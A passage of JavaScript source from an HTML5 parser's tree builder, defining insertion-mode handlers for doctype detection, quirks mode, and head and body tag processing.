tree.insertionMode.processEOF(); }; modes.initial.processComment = function(data) { tree.insertComment(data, tree.document); }; modes.initial.processDoctype = function(name, publicId, systemId, forceQuirks) { tree.insertDoctype(name || '', publicId || '', systemId || ''); if (forceQuirks || name != 'html' || (publicId != null && ([ "+//silmaril//dtd html pro v0r11 19970101//", "-//advasoft ltd//dtd html 3.0 aswedit + extensions//", "-//as//dtd html 3.0 aswedit + extensions//", "-//ietf//dtd html 2.0 level 1//", "-//ietf//dtd html 2.0 level 2//", "-//ietf//dtd html 2.0 strict level 1//", "-//ietf//dtd html 2.0 strict level 2//", "-//ietf//dtd html 2.0 strict//", "-//ietf//dtd html 2.0//", "-//ietf//dtd html 2.1e//", "-//ietf//dtd html 3.0//", "-//ietf//dtd html 3.0//", "-//ietf//dtd html 3.2 final//", "-//ietf//dtd html 3.2//", "-//ietf//dtd html 3//", "-//ietf//dtd html level 0//", "-//ietf//dtd html level 0//", "-//ietf//dtd html level 1//", "-//ietf//dtd html level 1//", "-//ietf//dtd html level 2//", "-//ietf//dtd html level 2//", "-//ietf//dtd html level 3//", "-//ietf//dtd html level 3//", "-//ietf//dtd html strict level 0//", "-//ietf//dtd html strict level 0//", "-//ietf//dtd html strict level 1//", "-//ietf//dtd html strict level 1//", "-//ietf//dtd html strict level 2//", "-//ietf//dtd html strict level 2//", "-//ietf//dtd html strict level 3//", "-//ietf//dtd html strict level 3//", "-//ietf//dtd html strict//", "-//ietf//dtd html strict//", "-//ietf//dtd html strict//", "-//ietf//dtd html//", "-//ietf//dtd html//", "-//ietf//dtd html//", "-//metrius//dtd metrius presentational//", "-//microsoft//dtd internet explorer 2.0 html strict//", "-//microsoft//dtd internet explorer 2.0 html//", "-//microsoft//dtd internet explorer 2.0 tables//", "-//microsoft//dtd internet explorer 3.0 html strict//", "-//microsoft//dtd internet explorer 3.0 html//", "-//microsoft//dtd internet explorer 3.0 tables//", "-//netscape comm. corp.//dtd html//", "-//netscape comm. corp.//dtd strict html//", "-//o'reilly and associates//dtd html 2.0//", "-//o'reilly and associates//dtd html extended 1.0//", "-//spyglass//dtd html 2.0 extended//", "-//sq//dtd html 2.0 hotmetal + extensions//", "-//sun microsystems corp.//dtd hotjava html//", "-//sun microsystems corp.//dtd hotjava strict html//", "-//w3c//dtd html 3 1995-03-24//", "-//w3c//dtd html 3.2 draft//", "-//w3c//dtd html 3.2 final//", "-//w3c//dtd html 3.2//", "-//w3c//dtd html 3.2s draft//", "-//w3c//dtd html 4.0 frameset//", "-//w3c//dtd html 4.0 transitional//", "-//w3c//dtd html experimental 19960712//", "-//w3c//dtd html experimental 970421//", "-//w3c//dtd w3 html//", "-//w3o//dtd w3 html 3.0//", "-//webtechs//dtd mozilla html 2.0//", "-//webtechs//dtd mozilla html//", "html" ].some(publicIdStartsWith) || [ "-//w3o//dtd w3 html strict 3.0//en//", "-/w3c/dtd html 4.0 transitional/en", "html" ].indexOf(publicId.toLowerCase()) > -1 || (systemId == null && [ "-//w3c//dtd html 4.01 transitional//", "-//w3c//dtd html 4.01 frameset//" ].some(publicIdStartsWith))) ) || (systemId != null && (systemId.toLowerCase() == "http://www.ibm.com/data/dtd/v11/ibmxhtml1-transitional.dtd")) ) { tree.compatMode = "quirks"; tree.parseError("quirky-doctype"); } else if (publicId != null && ([ "-//w3c//dtd xhtml 1.0 transitional//", "-//w3c//dtd xhtml 1.0 frameset//" ].some(publicIdStartsWith) || (systemId != null && [ "-//w3c//dtd html 4.01 transitional//", "-//w3c//dtd html 4.01 frameset//" ].indexOf(publicId.toLowerCase()) > -1)) ) { tree.compatMode = "limited quirks"; tree.parseError("almost-standards-doctype"); } else { if ((publicId == "-//W3C//DTD HTML 4.0//EN" && (systemId == null || systemId == "http://www.w3.org/TR/REC-html40/strict.dtd")) || (publicId == "-//W3C//DTD HTML 4.01//EN" && (systemId == null || systemId == "http://www.w3.org/TR/html4/strict.dtd")) || (publicId == "-//W3C//DTD XHTML 1.0 Strict//EN" && (systemId == "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd")) || (publicId == "-//W3C//DTD XHTML 1.1//EN" && (systemId == "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd")) ) { } else if (!((systemId == null || systemId == "about:legacy-compat") && publicId == null)) { tree.parseError("unknown-doctype"); } } tree.setInsertionMode('beforeHTML'); function publicIdStartsWith(string) { return publicId.toLowerCase().indexOf(string) === 0; } }; modes.initial.processCharacters = function(buffer) { buffer.skipLeadingWhitespace(); if (!buffer.length) return; tree.parseError('expected-doctype-but-got-chars'); this.anythingElse(); tree.insertionMode.processCharacters(buffer); }; modes.initial.processStartTag = function(name, attributes, selfClosing) { tree.parseError('expected-doctype-but-got-start-tag', {name: name}); this.anythingElse(); tree.insertionMode.processStartTag(name, attributes, selfClosing); }; modes.initial.processEndTag = function(name) { tree.parseError('expected-doctype-but-got-end-tag', {name: name}); this.anythingElse(); tree.insertionMode.processEndTag(name); }; modes.initial.anythingElse = function() { tree.compatMode = 'quirks'; tree.setInsertionMode('beforeHTML'); }; modes.beforeHTML = Object.create(modes.base); modes.beforeHTML.start_tag_handlers = { html: 'startTagHtml', '-default': 'startTagOther' }; modes.beforeHTML.processEOF = function() { this.anythingElse(); tree.insertionMode.processEOF(); }; modes.beforeHTML.processComment = function(data) { tree.insertComment(data, tree.document); }; modes.beforeHTML.processCharacters = function(buffer) { buffer.skipLeadingWhitespace(); if (!buffer.length) return; this.anythingElse(); tree.insertionMode.processCharacters(buffer); }; modes.beforeHTML.startTagHtml = function(name, attributes, selfClosing) { tree.insertHtmlElement(attributes); tree.setInsertionMode('beforeHead'); }; modes.beforeHTML.startTagOther = function(name, attributes, selfClosing) { this.anythingElse(); tree.insertionMode.processStartTag(name, attributes, selfClosing); }; modes.beforeHTML.processEndTag = function(name) { this.anythingElse(); tree.insertionMode.processEndTag(name); }; modes.beforeHTML.anythingElse = function() { tree.insertHtmlElement(); tree.setInsertionMode('beforeHead'); }; modes.afterAfterBody = Object.create(modes.base); modes.afterAfterBody.start_tag_handlers = { html: 'startTagHtml', '-default': 'startTagOther' }; modes.afterAfterBody.processComment = function(data) { tree.insertComment(data, tree.document); }; modes.afterAfterBody.processDoctype = function(data) { modes.inBody.processDoctype(data); }; modes.afterAfterBody.startTagHtml = function(data, attributes) { modes.inBody.startTagHtml(data, attributes); }; modes.afterAfterBody.startTagOther = function(name, attributes, selfClosing) { tree.parseError('unexpected-start-tag', {name: name}); tree.setInsertionMode('inBody'); tree.insertionMode.processStartTag(name, attributes, selfClosing); }; modes.afterAfterBody.endTagOther = function(name) { tree.parseError('unexpected-end-tag', {name: name}); tree.setInsertionMode('inBody'); tree.insertionMode.processEndTag(name); }; modes.afterAfterBody.processCharacters = function(data) { if (!isAllWhitespace(data.characters)) { tree.parseError('unexpected-char-after-body'); tree.setInsertionMode('inBody'); return tree.insertionMode.processCharacters(data); } modes.inBody.processCharacters(data); }; modes.afterBody = Object.create(modes.base); modes.afterBody.end_tag_handlers = { html: 'endTagHtml', '-default': 'endTagOther' }; modes.afterBody.processComment = function(data) { tree.insertComment(data, tree.openElements.rootNode); }; modes.afterBody.processCharacters = function(data) { if (!isAllWhitespace(data.characters)) { tree.parseError('unexpected-char-after-body'); tree.setInsertionMode('inBody'); return tree.insertionMode.processCharacters(data); } modes.inBody.processCharacters(data); }; modes.afterBody.processStartTag = function(name, attributes, selfClosing) { tree.parseError('unexpected-start-tag-after-body', {name: name}); tree.setInsertionMode('inBody'); tree.insertionMode.processStartTag(name, attributes, selfClosing); }; modes.afterBody.endTagHtml = function(name) { if (tree.context) { tree.parseError('end-html-in-innerhtml'); } else { tree.setInsertionMode('afterAfterBody'); } }; modes.afterBody.endTagOther = function(name) { tree.parseError('unexpected-end-tag-after-body', {name: name}); tree.setInsertionMode('inBody'); tree.insertionMode.processEndTag(name); }; modes.afterFrameset = Object.create(modes.base); modes.afterFrameset.start_tag_handlers = { html: 'startTagHtml', noframes: 'startTagNoframes', '-default': 'startTagOther' }; modes.afterFrameset.end_tag_handlers = { html: 'endTagHtml', '-default': 'endTagOther' }; modes.afterFrameset.processCharacters = function(buffer) { var characters = buffer.takeRemaining(); var whitespace = ""; for (var i = 0; i < characters.length; i++) { var ch = characters[i]; if (isWhitespace(ch)) whitespace += ch; } if (whitespace) { tree.insertText(whitespace); } if (whitespace.length < characters.length) tree.parseError('expected-eof-but-got-char'); }; modes.afterFrameset.startTagNoframes = function(name, attributes) { modes.inHead.processStartTag(name, attributes); }; modes.afterFrameset.startTagOther = function(name, attributes) { tree.parseError("unexpected-start-tag-after-frameset", {name: name}); }; modes.afterFrameset.endTagHtml = function(name) { tree.setInsertionMode('afterAfterFrameset'); }; modes.afterFrameset.endTagOther = function(name) { tree.parseError("unexpected-end-tag-after-frameset", {name: name}); }; modes.beforeHead = Object.create(modes.base); modes.beforeHead.start_tag_handlers = { html: 'startTagHtml', head: 'startTagHead', '-default': 'startTagOther' }; modes.beforeHead.end_tag_handlers = { html: 'endTagImplyHead', head: 'endTagImplyHead', body: 'endTagImplyHead', br: 'endTagImplyHead', '-default': 'endTagOther' }; modes.beforeHead.processEOF = function() { this.startTagHead('head', []); tree.insertionMode.processEOF(); }; modes.beforeHead.processCharacters = function(buffer) { buffer.skipLeadingWhitespace(); if (!buffer.length) return; this.startTagHead('head', []); tree.insertionMode.processCharacters(buffer); }; modes.beforeHead.startTagHead = function(name, attributes) { tree.insertHeadElement(attributes); tree.setInsertionMode('inHead'); }; modes.beforeHead.startTagOther = function(name, attributes, selfClosing) { this.startTagHead('head', []); tree.insertionMode.processStartTag(name, attributes, selfClosing); }; modes.beforeHead.endTagImplyHead = function(name) { this.startTagHead('head', []); tree.insertionMode.processEndTag(name); }; modes.beforeHead.endTagOther = function(name) { tree.parseError('end-tag-after-implied-root', {name: name}); }; modes.inHead = Object.create(modes.base); modes.inHead.start_tag_handlers = { html: 'startTagHtml', head: 'startTagHead', title: 'startTagTitle', script: 'startTagScript', style: 'startTagNoFramesStyle', noscript: 'startTagNoScript', noframes: 'startTagNoFramesStyle', base: 'startTagBaseBasefontBgsoundLink', basefont: 'startTagBaseBasefontBgsoundLink', bgsound: 'startTagBaseBasefontBgsoundLink', link: 'startTagBaseBasefontBgsoundLink', meta: 'startTagMeta', "-default": 'startTagOther' }; modes.inHead.end_tag_handlers = { head: 'endTagHead', html: 'endTagHtmlBodyBr', body: 'endTagHtmlBodyBr', br: 'endTagHtmlBodyBr', "-default": 'endTagOther' }; modes.inHead.processEOF = function() { var name = tree.currentStackItem().localName; if (['title', 'style', 'script'].indexOf(name) != -1) { tree.parseError("expected-named-closing-tag-but-got-eof", {name: name}); tree.popElement(); } this.anythingElse(); tree.insertionMode.processEOF(); }; modes.inHead.processCharacters = function(buffer) { var leadingWhitespace = buffer.takeLeadingWhitespace(); if (leadingWhitespace) tree.insertText(leadingWhitespace); if (!buffer.length) return; this.anythingElse(); tree.insertionMode.processCharacters(buffer); }; modes.inHead.startTagHtml = function(name, attributes) { modes.inBody.processStartTag(name, attributes); }; modes.inHead.startTagHead = function(name, attributes) { tree.parseError('two-heads-are-not-better-than-one'); }; modes.inHead.startTagTitle = function(name, attributes) { tree.processGenericRCDATAStartTag(name, attributes); }; modes.inHead.startTagNoScript = function(name, attributes) { if (tree.scriptingEnabled) return tree.processGenericRawTextStartTag(name, attributes); tree.insertElement(name, attributes); tree.setInsertionMode('inHeadNoscript'); }; modes.inHead.startTagNoFramesStyle = function(name, attributes) { tree.processGenericRawTextStartTag(name, attributes); }; modes.inHead.startTagScript = function(name, attributes) { tree.insertElement(name, attributes); tree.tokenizer.setState(Tokenizer.SCRIPT_DATA); tree.originalInsertionMode = tree.insertionModeName; tree.setInsertionMode('text'); }; modes.inHead.startTagBaseBasefontBgsoundLink = function(name, attributes) { tree.insertSelfClosingElement(name, attributes); }; modes.inHead.startTagMeta = function(name, attributes) { tree.insertSelfClosingElement(name, attributes); }; modes.inHead.startTagOther = function(name, attributes, selfClosing) { this.anythingElse(); tree.insertionMode.processStartTag(name, attributes, selfClosing); }; modes.inHead.endTagHead = function(name) { if (tree.openElements.item(tree.openElements.length - 1).localName == 'head') { tree.openElements.pop(); } else { tree.parseError('unexpected-end-tag', {name: 'head'}); } tree.setInsertionMode('afterHead'); }; modes.inHead.endTagHtmlBodyBr = function(name) { this.anythingElse(); tree.insertionMode.processEndTag(name); }; modes.inHead.endTagOther = function(name) { tree.parseError('unexpected-end-tag', {name: name}); }; modes.inHead.anythingElse = function() { this.endTagHead('head'); }; modes.afterHead = Object.create(modes.base); modes.afterHead.start_tag_handlers = { html: 'startTagHtml', head: 'startTagHead', body: 'startTagBody', frameset: 'startTagFrameset', base: 'startTagFromHead', link: 'startTagFromHead', meta: 'startTagFromHead', script: 'startTagFromHead', style: 'startTagFromHead', title: 'startTagFromHead', "-default": 'startTagOther' }; modes.afterHead.end_tag_handlers = { body: 'endTagBodyHtmlBr', html: 'endTagBodyHtmlBr', br: 'endTagBodyHtmlBr', "-default": 'endTagOther' }; modes.afterHead.processEOF = function() { this.anythingElse(); tree.insertionMode.processEOF(); }; modes.afterHead.processCharacters = function(buffer) { var leadingWhitespace = buffer.takeLeadingWhitespace(); if (leadingWhitespace) tree.insertText(leadingWhitespace); if (!buffer.length) return; this.anythingElse(); tree.insertionMode.processCharacters(buffer); }; modes.afterHead.startTagHtml = function(name, attributes) { modes.inBody.processStartTag(name, attributes); }; modes.afterHead.startTagBody = function(name, attributes) { tree.framesetOk = false; tree.insertBodyElement(attributes); tree.setInsertionMode('inBody'); }; modes.afterHead.startTagFrameset = function(name, attributes) { tree.insertElement(name, attributes); tree.setInsertionMode('inFrameset'); }; modes.afterHead.startTagFromHead = function(name, attributes, selfClosing) { tree.parseError("unexpected-start-tag-out-of-my-head", {name: name}); tree.openElements.push(tree.head); modes.inHead.processStartTag(name, attributes, selfClosing); tree.openElements.remove(tree.head); }; modes.afterHead.startTagHead = function(name, attributes, selfClosing) { tree.parseError('unexpected-start-tag', {name: name}); }; modes.afterHead.startTagOther = function(name, attributes, selfClosing) { this.anythingElse(); tree.insertionMode.processStartTag(name, attributes, selfClosing); }; modes.afterHead.endTagBodyHtmlBr = function(name) { this.anythingElse(); tree.insertionMode.processEndTag(name); }; modes.afterHead.endTagOther = function(name) { tree.parseError('unexpected-end-tag', {name: name}); }; modes.afterHead.anythingElse = function() { tree.insertBodyElement([]); tree.setInsertionMode('inBody'); tree.framesetOk = true; } modes.inBody = Object.create(modes.base); modes.inBody.start_tag_handlers = { html: 'startTagHtml', head: 'startTagMisplaced', base: 'startTagProcessInHead', basefont: 'startTagProcessInHead', bgsound: 'startTagProcessInHead', link: 'startTagProcessInHead', meta: 'startTagProcessInHead', noframes: 'startTagProcessInHead', script: 'startTagProcessInHead', style: 'startTagProcessInHead', title: 'startTagProcessInHead', body: 'startTagBody', form: 'startTagForm', plaintext: 'startTagPlaintext', a: 'startTagA', button: 'startTagButton', xmp: 'startTagXmp', table: 'startTagTable', hr: 'startTagHr', image: 'startTagImage', input: 'startTagInput', textarea: 'startTagTextarea', select: 'startTagSelect', isindex: 'startTagIsindex', applet: 'startTagAppletMarqueeObject', marquee: 'startTagAppletMarqueeObject', object: 'startTagAppletMarqueeObject', li: 'startTagListItem', dd: 'startTagListItem', dt: 'startTagListItem', address: 'startTagCloseP', article: 'startTagCloseP', aside: 'startTagCloseP', blockquote: 'startTagCloseP', center: 'startTagCloseP', details: 'startTagCloseP', dir: 'startTagCloseP', div: 'startTagCloseP', dl: 'startTagCloseP', fieldset: 'startTagCloseP', figcaption: 'startTagCloseP', figure: 'startTagCloseP', footer: 'startTagCloseP', header: 'startTagCloseP', hgroup: 'startTagCloseP', main: 'startTagCloseP', menu: 'startTagCloseP', nav: 'startTagCloseP', ol: 'startTagCloseP', p: 'startTagCloseP', section: 'startTagCloseP', summary: 'startTagCloseP', ul: 'startTagCloseP', listing: 'startTagPreListing', pre: 'startTagPreListing', b: 'startTagFormatting', big: 'startTagFormatting', code: 'startTagFormatting', em: 'startTagFormatting', font: 'startTagFormatting', i: 'startTagFormatting', s: 'startTagFormatting', small: 'startTagFormatting', strike: 'startTagFormatting', strong: 'startTagFormatting', tt: 'startTagFormatting', u: 'startTagFormatting', nobr: 'startTagNobr', area: 'startTagVoidFormatting', br: 'startTagVoidFormatting', embed: 'startTagVoidFormatting', img: 'startTagVoidFormatting', keygen: 'startTagVoidFormatting', wbr: 'startTagVoidFormatting', param: 'startTagParamSourceTrack', source: 'startTagParamSourceTrack', track: 'startTagParamSourceTrack', iframe: 'startTagIFrame', noembed: 'startTagRawText', noscript: 'startTagRawText', h1: 'startTagHeading', h2: 'startTagHeading', h3: 'startTagHeading', h4: 'startTagHeading', h5: 'startTagHeading', h6: 'startTagHeading', caption: 'startTagMisplaced', col: 'startTagMisplaced', colgroup: 'startTagMisplaced', frame: 'startTagMisplaced', frameset: 'startTagFrameset', tbody: 'startTagMisplaced', td: 'startTagMisplaced', tfoot: 'startTagMisplaced', th: 'startTagMisplaced', thead: 'startTagMisplaced', tr: 'startTagMisplaced', option: 'startTagOptionOptgroup', optgroup: 'startTagOptionOptgroup', math: 'startTagMath', svg: 'startTagSVG', rt: 'startTagRpRt', rp: 'startTagRpRt', "-default": 'startTagOther' }; modes.inBody.end_tag_handlers = { p: 'endTagP', body: 'endTagBody', html: 'endTagHtml', address: 'endTagBlock', article: 'endTagBlock', aside: 'endTagBlock', blockquote: 'endTagBlock', button: 'endTagBlock', center: 'endTagBlock', details: 'endTagBlock', dir: 'endTagBlock', div: 'endTagBlock', dl: 'endTagBlock', fieldset: 'endTagBlock', figcaption: 'endTagBlock', figure: 'endTagBlock', footer: 'endTagBlock', header: 'endTagBlock', hgroup: 'endTagBlock', listing: 'endTagBlock', main: 'endTagBlock', menu: 'endTagBlock', nav: 'endTagBlock', ol: 'endTagBlock', pre: 'endTagBlock', section: 'endTagBlock', summary: 'endTagBlock', ul: 'endTagBlock', form: 'endTagForm', applet: 'endTagAppletMarqueeObject', marquee: 'endTagAppletMarqueeObject', object: 'endTagAppletMarqueeObject', dd: 'endTagListItem', dt: 'endTagListItem', li: 'endTagListItem', h1: 'endTagHeading', h2: 'endTagHeading', h3: 'endTagHeading', h4: 'endTagHeading', h5: 'endTagHeading', h6: 'endTagHeading', a: 'endTagFormatting', b: 'endTagFormatting', big: 'endTagFormatting', code: 'endTagFormatting', em: 'endTagFormatting', font: 'endTagFormatting', i: 'endTagFormatting', nobr: 'endTagFormatting', s: 'endTagFormatting', small: 'endTagFormatting', strike: 'endTagFormatting', strong: 'endTagFormatting', tt: 'endTagFormatting', u: 'endTagFormatting', br: 'endTagBr', "-default": 'endTagOther' }; modes.inBody.processCharacters = function(buffer) { if (tree.shouldSkipLeadingNewline) { tree.shouldSkipLeadingNewline = false; buffer.skipAtMostOneLeadingNewline(); } tree.reconstructActiveFormattingElements(); var characters = buffer.takeRemaining(); characters = characters.replace(/\u0000/g, function(match, index){ tree.parseError("invalid-codepoint"); return ''; }); if (!characters) return; tree.insertText(characters); if (tree.framesetOk && !isAllWhitespaceOrReplacementCharacters(characters)) tree.framesetOk = false; }; modes.inBody.startTagHtml = function(name, attributes) { tree.parseError('non-html-root'); tree.addAttributesToElement(tree.openElements.rootNode, attributes); }; modes.inBody.startTagProcessInHead = function(name, attributes) { modes.inHead.processStartTag(name, attributes); }; modes.inBody.startTagBody = function(name, attributes) { tree.parseError('unexpected-start-tag', {name: 'body'}); if (tree.openElements.length == 1 || tree.openElements.item(1).localName != 'body') { assert.ok(tree.context); } else { tree.framesetOk = false; tree.addAttributesToElement(tree.openElements.bodyElement, attributes); } }; modes.inBody.startTagFrameset = function(name, attributes) { tree.parseError('unexpected-start-tag', {name: 'frameset'}); if (tree.openElements.length == 1 || tree.openElements.item(1).localName != 'body') { assert.ok(tree.context); } else if (tree.framesetOk) { tree.detachFromParent(tree.openElements.bodyElement); while (tree.openElements.length > 1) tree.openElements.pop(); tree.insertElement(name, attributes); tree.setInsertionMode('inFrameset'); } }; modes.inBody.startTagCloseP = function(name, attributes) { if (tree.openElements.inButtonScope('p')) this.endTagP('p'); tree.insertElement(name, attributes); }; modes.inBody.startTagPreListing = function(name, attributes) { if (tree.openElements.inButtonScope('p')) this.endTagP('p'); tree.insertElement(name, attributes); tree.framesetOk = false; tree.shouldSkipLeadingNewline = true; }; modes.inBody.startTagForm = function(name, attributes) { if (tree.form) { tree.parseError('unexpected-start-tag', {name: name}); } else { if (tree.openElements.inButtonScope('p')) this.endTagP('p'); tree.insertElement(name, attributes); tree.form = tree.currentStackItem(); } }; modes.inBody.startTagRpRt = function(name, attributes) { if (tree.openElements.inScope('ruby')) { tree.generateImpliedEndTags(); if (tree.currentStackItem().localName != 'ruby') { tree.parseError('unexpected-start-tag', {name: name}); } } tree.insertElement(name, attributes); }; modes.inBody.startTagListItem = function(name, attributes) { var stopNames = {li: ['li'], dd: ['dd', 'dt'], dt: ['dd', 'dt']}; var stopName = stopNames[name]; var els = tree.openElements; for (var i = els.length - 1; i >= 0; i--) { var node = els.item(i); if (stopName.indexOf(node.localName) != -1) { tree.insertionMode.processEndTag(node.localName); break; } if (node.isSpecial() && node.localName !== 'p' && node.localName !== 'address' && node.localName !== 'div') break; } if (tree.openElements.inButtonScope('p')) this.endTagP('p'); tree.insertElement(name, attributes); tree.framesetOk = false; }; modes.inBody.startTagPlaintext = function(name, attributes) { if (tree.openElements.inButtonScope('p')) this.endTagP('p'); tree.insertElement(name, attributes); tree.tokenizer.setState(Tokenizer.PLAINTEXT); }; modes.inBody.startTagHeading = function(name, attributes) { if (tree.openElements.inButtonScope('p')) this.endTagP('p'); if (tree.currentStackItem().isNumberedHeader()) { tree.parseError('unexpected-start-tag', {name: name}); tree.popElement(); } tree.insertElement(name, attributes); }; modes.inBody.startTagA = function(name, attributes) { var activeA = tree.elementInActiveFormattingElements('a'); if (activeA) { tree.parseError("unexpected-start-tag-implies-end-tag", {startName: "a", endName: "a"}); tree.adoptionAgencyEndTag('a'); if (tree.openElements.contains(activeA)) tree.openElements.remove(activeA); tree.removeElementFromActiveFormattingElements(activeA); } tree.reconstructActiveFormattingElements(); tree.insertFormattingElement(name, attributes); }; modes.inBody.startTagFormatting = function(name, attributes) { tree.reconstructActiveFormattingElements(); tree.insertFormattingElement(name, attributes); }; modes.inBody.startTagNobr = function(name, attributes) { tree.reconstructActiveFormattingElements(); if (tree.openElements.inScope('nobr')) { tree.parseError("unexpected-start-tag-implies-end-tag", {startName: 'nobr', endName: 'nobr'}); this.processEndTag('nobr'); tree.reconstructActiveFormattingElements(); } tree.insertFormattingElement(name, attributes); }; modes.inBody.startTagButton = function(name, attributes) { if (tree.openElements.inScope('button')) { tree.parseError('unexpected-start-tag-implies-end-tag', {startName: 'button', endName: 'button'}); this.processEndTag('button'); tree.insertionMode.processStartTag(name, attributes); } else { tree.framesetOk = false; tree.reconstructActiveFormattingElements(); tree.insertElement(name, attributes); } }; modes.inBody.startTagAppletMarqueeObject = function(name, attributes) { tree.reconstructActiveFormattingElements(); tree.insertElement(name, attributes); tree.activeFormattingElements.push(Marker); tree.framesetOk = false; }; modes.inBody.endTagAppletMarqueeObject = function(name) { if (!tree.openElements.inScope(name)) { tree.parseError("unexpected-end-tag", {name: name}); } else { tree.generateImpliedEndTags(); if (tree.currentStackItem().localName != name) { tree.parseError('end-tag-too-early', {name: name}); } tree.openElements.popUntilPopped(name); tree.clearActiveFormattingElements(); } }; modes.inBody.startTagXmp = function(name, attributes) { if (tree.openElements.inButtonScope('p')) this.processEndTag('p'); tree.reconstructActiveFormattingElements(); tree.processGenericRawTextStartTag(name, attributes); tree.framesetOk = false; }; modes.inBody.startTagTable = function(name, attributes) { if (tree.compatMode !== "quirks") if (tree.openElements.inButtonScope('p')) this.processEndTag('p'); tree.insertElement(name, attributes); tree.setInsertionMode('inTable'); tree.framesetOk = false; }; modes.inBody.startTagVoidFormatting = function(name, attributes) { tree.reconstructActiveFormattingElements(); tree.insertSelfClosingElement(name, attributes); tree.framesetOk = false; }; modes.inBody.startTagParamSourceTrack = function(name, attributes) { tree.insertSelfClosingElement(name, attributes); }; modes.inBody.startTagHr = function(name, attributes) { if (tree.openElements.inButtonScope('p')) this.endTagP('p'); tree.insertSelfClosingElement(name, attributes); tree.framesetOk = false; }; modes.inBody.startTagImage = function(name, attributes) { tree.parseError('unexpected-start-tag-treated-as', {originalName: 'image', newName: 'img'}); this.processStartTag('img', attributes); }; modes.inBody.startTagInput = function(name, attributes) { var currentFramesetOk = tree.framesetOk; this.startTagVoidFormatting(name, attributes); for (var key in attributes) { if (attributes[key].nodeName == 'type') { if (attributes[key].nodeValue.toLowerCase() == 'hidden') tree.framesetOk = currentFramesetOk; break; } } }; modes.inBody.startTagIsindex = function(name, attributes) { tree.parseError('deprecated-tag', {name: 'isindex'}); tree.selfClosingFlagAcknowledged = true; if (tree.form) return; var formAttributes = []; var inputAttributes = []; var prompt = "This is a searchable index. Enter search keywords: "; for (var key in attributes) { switch (attributes[key].nodeName) { case 'action': formAttributes.push({nodeName: 'action', nodeValue: attributes[key].nodeValue}); break; case 'prompt': prompt = attributes[key].nodeValue; break; case 'name': break; default: inputAttributes.push({nodeName: attributes[key].nodeName, nodeValue: attributes[key].nodeValue}); } } inputAttributes.push({nodeName: 'name', nodeValue: 'isindex'}); this.processStartTag('form', formAttributes); this.processStartTag('hr'); this.processStartTag('label'); this.processCharacters(new CharacterBuffer(prompt)); this.processStartTag('input', inputAttributes); this.processEndTag('label'); this.processStartTag('hr'); this.processEndTag('form'); }; modes.inBody.startTagTextarea = function(name, attributes) { tree.insertElement(name, attributes); tree.tokenizer.setState(Tokenizer.RCDATA); tree.originalInsertionMode = tree.insertionModeName; tree.shouldSkipLeadingNewline = true; tree.framesetOk = false; tree.setInsertionMode('text'); }; modes.inBody.startTagIFrame = function(name, attributes) { tree.framesetOk = false; this.startTagRawText(name, attributes); }; modes.inBody.startTagRawText = function(name, attributes) { tree.processGenericRawTextStartTag(name, attributes); }; modes.inBody.startTagSelect = function(name, attributes) { tree.reconstructActiveFormattingElements(); tree.insertElement(name, attributes); tree.framesetOk = false; var insertionModeName = tree.insertionModeName; if (insertionModeName == 'inTable' || insertionModeName == 'inCaption' || insertionModeName == 'inColumnGroup' || insertionModeName == 'inTableBody' || insertionModeName == 'inRow' || insertionModeName == 'inCell') { tree.setInsertionMode('inSelectInTable'); } else { tree.setInsertionMode('inSelect'); } }; modes.inBody.startTagMisplaced = function(name, attributes) { tree.parseError('unexpected-start-tag-ignored', {name: name}); }; modes.inBody.endTagMisplaced = function(name) { tree.parseError("unexpected-end-tag", {name: name}); }; modes.inBody.endTagBr = function(name) { tree.parseError("unexpected-end-tag-treated-as", {originalName: "br", newName: "br element"}); tree.reconstructActiveFormattingElements(); tree.insertElement(name, []); tree.popElement(); }; modes.inBody.startTagOptionOptgroup = function(name, attributes) { if (tree.currentStackItem().localName == 'option') tree.popElement(); tree.reconstructActiveFormattingElements(); tree.insertElement(name, attributes); }; modes.inBody.startTagOther = function(name, attributes) { tree.reconstructActiveFormattingElements(); tree.insertElement(name, attributes); }; modes.inBody.endTagOther = function(name) { var node; for (var i = tree.openElements.length - 1; i > 0; i--) { node = tree.openElements.item(i); if (node.localName == name) { tree.generateImpliedEndTags(name); if (tree.currentStackItem().localName != name) tree.parseError('unexpected-end-tag', {name: name}); tree.openElements.remove_openElements_until(function(x) {return x === node;}); break; } if (node.isSpecial()) { tree.parseError('unexpected-end-tag', {name: name}); break; } } }; modes.inBody.startTagMath = function(name, attributes, selfClosing) { tree.reconstructActiveFormattingElements(); attributes = tree.adjustMathMLAttributes(attributes); attributes = tree.adjustForeignAttributes(attributes); tree.insertForeignElement(name, attributes, "http://www.w3.org/1998/Math/MathML", selfClosing); }; modes.inBody.startTagSVG = function(name, attributes, selfClosing) { tree.reconstructActiveFormattingElements(); attributes = tree.adjustSVGAttributes(attributes); attributes = tree.adjustForeignAttributes(attributes); tree.insertForeignElement(name, attributes, "http://www.w3.org/2000/svg", selfClosing); }; modes.inBody.endTagP = function(name) { if (!tree.openElements.inButtonScope('p')) { tree.parseError('unexpected-end-tag', {name: 'p'}); this.startTagCloseP('p', []); this.endTagP('p'); } else { tree.generateImpliedEndTags('p'); if (tree.currentStackItem().localName != 'p') tree.parseError('unexpected-implied-end-tag', {name: 'p'}); tree.openElements.popUntilPopped(name); } }; modes.inBody.endTagBody = function(name) { if (!tree.openElements.inScope('body')) { tree.parseError('unexpected-end-tag', {name: name}); return; } if (tree.currentStackItem().localName != 'body') { tree.parseError('expected-one-end-tag-but-got-another', { expectedName: tree.currentStackItem().localName, gotName: name }); } tree.setInsertionMode('afterBody'); }; modes.inBody.endTagHtml = function(name) { if (!tree.openElements.inScope('body')) { tree.parseError('unexpected-end-tag', {name: name}); return; } if (tree.currentStackItem().localName != 'body') { tree.parseError('expected-one-end-tag-but-got-another', { expectedName: tree.currentStackItem().localName, gotName: name }); } tree.setInsertionMode('afterBody'); tree.insertionMode.processEndTag(name); }; modes.inBody.endTagBlock = function(name) { if (!tree.openElements.inScope(name)) { tree.parseError('unexpected-end-tag', {name: name}); } else { tree.generateImpliedEndTags(); if (tree.currentStackItem().localName != name) { tree.parseError('end-tag-too-early', {name: name}); } tree.openElements.popUntilPopped(name); } }; modes.inBody.endTagForm = function(name) { var node = tree.form; tree.form = null; if (!node || !tree.openElements.inScope(name)) { tree.parseError('unexpected-end-tag', {name: name}); } else { tree.generateImpliedEndTags(); if (tree.currentStackItem() != node) { tree.parseError('end-tag-too-early-ignored', {name: 'form'}); } tree.openElements.remove(node); } }; modes.inBody.endTagListItem = function(name) { if 